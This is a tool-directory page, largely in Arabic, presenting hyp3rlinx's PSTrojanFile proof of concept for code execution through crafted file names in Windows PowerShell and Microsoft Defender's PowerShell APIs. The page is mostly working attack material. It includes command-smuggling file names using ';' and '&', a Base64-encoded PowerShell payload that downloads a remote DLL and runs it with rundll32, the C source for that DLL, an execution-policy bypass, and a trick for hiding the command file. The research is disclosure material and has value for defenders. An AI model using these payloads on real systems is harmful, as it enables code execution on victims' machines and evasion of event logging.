Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
PSTrojanFile — إثبات مفهوم تنفيذ الأكواد عبر اسم ملف في Windows PowerShell غير مُصحح | Kitploit
أدوات/GitHubGitHub/hyp3rlinx/pstrojanfile
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالالتهرب من IDS/IPSالبرمجة النصية والأتمتةCTFاختبار الاختراقالأوراق والأبحاثالتعلم والتعليم
GitHubhyp3rlinx/pstrojanfile

PSTrojanFile

إثبات مفهوم تنفيذ الأكواد عبر اسم ملف في Windows PowerShell غير مُصحح

428منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

PSTrojanFile

Windows PowerShell Filename and Defender Anti-Malware API - Code Execution POC

Discovery: John Page (aka hyp3rlinx) 2019 and revisted 2023

Updated Dec 24, 2023

Bypassing single quotes obstacle in PowerShell for code exec and bonus PS Windows Event log fail!
Semicolon and friend "&" operator join forces for arbitrary code exec capabilities.

شغّل بعض البرامج الضارة غير المرغوبة:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5

أو

فحص Windows Defender Anti-Malware:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'

حيث يوجد Malware.exe في نفس الدليل، فكّر في التنزيل عبر التصفح (drive-by download).

فشل سجل أحداث Windows، معرف حدث PS 403، يفشل في تسجيل اسم الملف الحقيقي بسبب الاقتطاع:

مقتطف سجل PS:

HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803

استدعاء أمر ping؟ لمَ لا
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5

تسجيل خروج الضحية:
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'

تحديث: 7 ديسمبر 2023، أُضيف ناقل سطر الأوامر وواجهة برمجة تطبيقات Windows Defender، انظر أدناه:

نظرًا لأنه ما زال يعمل، أزلت الغبار عنه وأدخلت تحسينات طفيفة:

  1. تنفيذ DLL عن بُعد باستخدام rundll32
  2. تنفيذ سكربت PS1 ثانوي غير مقصود أو ملف نصي محلي (يمكن أن يكون مخفيًا)
  3. تحديث سكربت Python3 منشئ اسم ملف PS1 الخادع (Trojan)

أُبلغت بها Microsoft لأول مرة في 2019 وما زالت دون إصلاح حتى وقت كتابة هذا التقرير.

تنفيذ كود عن بُعد عبر اسم ملف مصمم خصيصًا.

الخلل ناتج عن النقطة المنقوطة ";" حيث يمكننا فك ترميز أمر Base64 وتنفيذه مباشرة من اسم ملف PS1 أو مجرد تنفيذ أوامر.

Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1

نفّذ الأوامر فورًا

"Testing;saps (gc -) PoC;.ps1"

نواقل الهجوم: النقر المزدوج، السحب والإفلات على اختصار PowerShell

يستغل أوامر PowerShell البديلة المختصرة مثل "saps" و "gc" لبدء عملية وقراءة المحتوى وما إلى ذلك.

مثال تنفيذ DLL:

أنشئ ملف PS1 خادعًا سيحاول تنزيل وتنفيذ DLL عن بُعد باسم "1.d"

Python:

from base64 import b64encode

b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))

cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA

كود DLL:

#include <windows.h>

//gcc -shared -o mydll.dll mydll.c -m32

//hyp3rlinx

void evilo(void){

MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){

evilo();

return 0;

}

python -m http.server 80

انقر نقرًا مزدوجًا على ملف PS1 الخادع.

مثال تنفيذ كود من ملف نصي:

أنشئ ملف PS1 باسم يتضمن "saps" (لبدء عملية) و "gc" (get-content)، وسيقرأ هذا الأوامر من ملف مخفي.

"Test;saps (gc -) PoC;.ps1"

إنشاء مخفي: attrib +s +h "-"

انقر نقرًا مزدوجًا أو اسحب وأفلت.

المتطلبات:

a) يجب ضبط ملفات PowerShell PS1 لتُفتح بواسطة PowerShell كبرنامج افتراضي

b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force

c) يجب على المستخدم النقر المزدوج، أو التشغيل من سطر الأوامر، أو سحب وإفلات سكربت PS1 ذي الاسم الخبيث

https://www.youtube.com/watch?v=-ZJnA70Cf4I

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/029d41d2-af58-434d-8d0f-0bf8f01d1c55

PSTrojanFile

تحديث: واجهة برمجة تطبيقات PowerShell الخاصة بـ Microsoft Defender Anti-Malware - تنفيذ أكواد عشوائية.

يمكن أن تؤدي واجهات برمجة تطبيقات Microsoft Defender Anti-Malware و/أو PowerShell إلى تنفيذ أكواد عشوائية. على سبيل المثال، فحص مجلد أو اختصار .lnk أو حتى عنصر غير موجود قد يؤدي إلى تنفيذ كود غير مقصود. يبني هذا الناقل على نشرتي السابقة ومشروع PSTrojanFile اللاحق.

المتطلبات:

  1. في سطر الأوامر، يكون أمر 'powershell' سابقًا أو مُمرَّرًا عبر استدعاء PowerShell من سكربت آخر
  2. ملف تنفيذي بنفس اسم الوسيط (parameter) الموجود في مكان قريب

أمثلة:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip" (Helper.exe موجود على سطح المكتب)

أنشئ المجلد ";saps Test"، على أن يكون Test.exe أو Test.cmd إلخ على مسار سطر الأوامر نفسه
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"

أنشئ مجلدًا يحتوي على فاصلة منقوطة، ثم ضَع ملف PE باسم doom.exe في المسار نفسه.
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"

أخيرًا وليس آخرًا: عند الحصول على تجزئة ملف في PowerShell، يتم تسجيل خروجك :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"

https://www.youtube.com/watch?v=0Go6yJiRWP8

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/b033b9f8-1ea0-4ea3-9fa3-56ea63db5b08

تنزيل الأداة